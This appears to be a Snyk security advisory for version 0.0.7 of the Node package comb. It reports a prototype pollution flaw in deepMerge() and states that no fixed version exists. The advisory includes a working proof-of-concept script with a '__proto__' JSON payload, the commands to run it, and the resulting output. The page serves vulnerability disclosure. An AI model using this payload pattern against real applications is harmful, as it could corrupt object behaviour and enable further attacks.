comb@0.0.7 vulnerabilities

A framework for node

Direct Vulnerabilities

Known vulnerabilities in the comb package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • M
Prototype Pollution

comb is a framework for node

Affected versions of this package are vulnerable to Prototype Pollution via the deepMerge() function.

##PoC:

// PoC.js
var deepMerge = require("comb/lib/base/object.js").deepMerge

var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
deepMerge({}, JSON.parse(malicious_payload));
console.log("After : " + {}.polluted);

Execute the following commands in the terminal:

npm i comb # Install affected module
node PoC.js # Run the PoC

Check the Output:

"Before: undefined"
"After : Yes! Its Polluted"

How to fix Prototype Pollution?

There is no fixed version for comb.

*